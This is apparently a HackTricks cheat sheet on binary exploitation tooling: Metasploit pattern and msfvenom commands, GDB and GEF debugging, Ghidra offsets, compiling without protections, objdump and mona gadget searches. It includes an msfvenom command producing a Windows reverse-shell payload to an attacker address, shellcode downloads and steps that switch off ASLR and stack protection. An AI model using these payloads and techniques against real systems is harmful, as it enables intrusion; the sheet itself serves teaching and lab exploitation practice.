hacktricks/exploiting/tools/README.md

# Exploiting Tools

## Metasploit

```
pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```

### Shellcodes

```
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```

## GDB

### Install

```
apt-get install gdb
```

### Parameters

**-q** --> No show banner\
**-x \<file>** --> Auto-execute GDB instructions from here\
**-p \<pid>** --> Attach to process

#### Instructions

\> **disassemble main** --> Disassemble the function\
\> **disassemble 0x12345678**\
\> **set disassembly-flavor intel**\
\> **set follow-fork-mode child/parent** --> Follow created process\
\> **p system** --> Find the address of the system function\
\> **help**\
\> **quit**

\> **br func**  --> Add breakpoint to function\
\> **br \*func+23**\
\> **br \*0x12345678**\
**> del NUM** --> Delete that number of br\
\> **watch EXPRESSION** --> Break if the value changes

**> run** --> Execute\
**> start** --> Start and break in main\
\> **n/next** --> Execute next instruction (no inside)\
\> **s/step** --> Execute next instruction\
\> **c/continue** --> Continue until next breakpoint

\> **set $eip = 0x12345678** --> Change value of $eip\
\> **info functions** --> Info abount functions\
\> **info functions func** --> Info of the funtion\
\> **info registers** --> Value of the registers\
\> **bt** --> Stack\
\> **bt full** --> Detailed stack

\> **print variable**\
\> **print 0x87654321 - 0x12345678** --> Caculate\
\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii

* **x/o 0xDir\_hex**
* **x/2x $eip** --> 2Words from EIP
* **x/2x $eip -4** -->  $eip - 4
* **x/8xb $eip** --> 8  bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
* **i r eip** --> Value of $eip
* **x/w pointer** --> Value of the pointer
* **x/s pointer** --> String pointed by the pointer
* **x/xw \&pointer** --> Address where the pointer is located
* **x/i $eip** —> Instructions of the EIP

### [GEF](https://github.com/hugsy/gef)

```bash
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤  i f
Stack level 0, frame at 0x7fffffffddd0:
 rip = 0x400cd3; saved rip = 0x6261617762616176
 called by frame at 0x7fffffffddd8
 Arglist at 0x7fffffffdcf8, args: 
 Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
 Saved registers:
  rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```

### Tricks

#### GDB same addresses

While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:

* `unset env LINES`
* `unset env COLUMNS`
* `set env _=<path>` _Put the absolute path to the binary_
* Exploit the binary using the same absolute route
* &#x20;`PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary

#### Backtrace to find functions called

When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:

```
gef➤  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()
```

### GDB server

`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)

## Ghidra

### Find stack offset

**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
****For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._

![](<../../.gitbook/assets/image (616).png>)

## GCC

**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
**-o** --> Output\
**-g** --> Save code (GDB will be able to see it)\
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux

**To compile a shellcode:**\
**nasm -f elf assembly.asm** --> return a ".o"\
**ld assembly.o -o shellcodeout** --> Executable

## Objdump

**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
**-Mintel** --> **Intel** syntax\
**-t** --> **Symbols** table\
**-D** --> **Disassemble all** (address of static variable)\
**-s -j .dtors** --> dtors section\
**-s -j .got** --> got section\
\-D -s -j .plt --> **plt** section **decompiled**\
**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
**objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section).

## Core dumps

1. Run `ulimit -c unlimited` before starting my program
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
3. sudo gdb --core=\<path/core> --quiet

## More

**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"

**strace executable** --> Functions called by the executable\
**rabin2 -i ejecutable -->** Address of all the functions

## **Inmunity debugger**

```bash
!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)
```

## IDA

### Debugging in remote linux

Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary:

```
./linux_server64 -Ppass
```

&#x20;Then, configure the debugger: Debugger (linux remote) --> Proccess options...:

![](<../../.gitbook/assets/image (101).png>)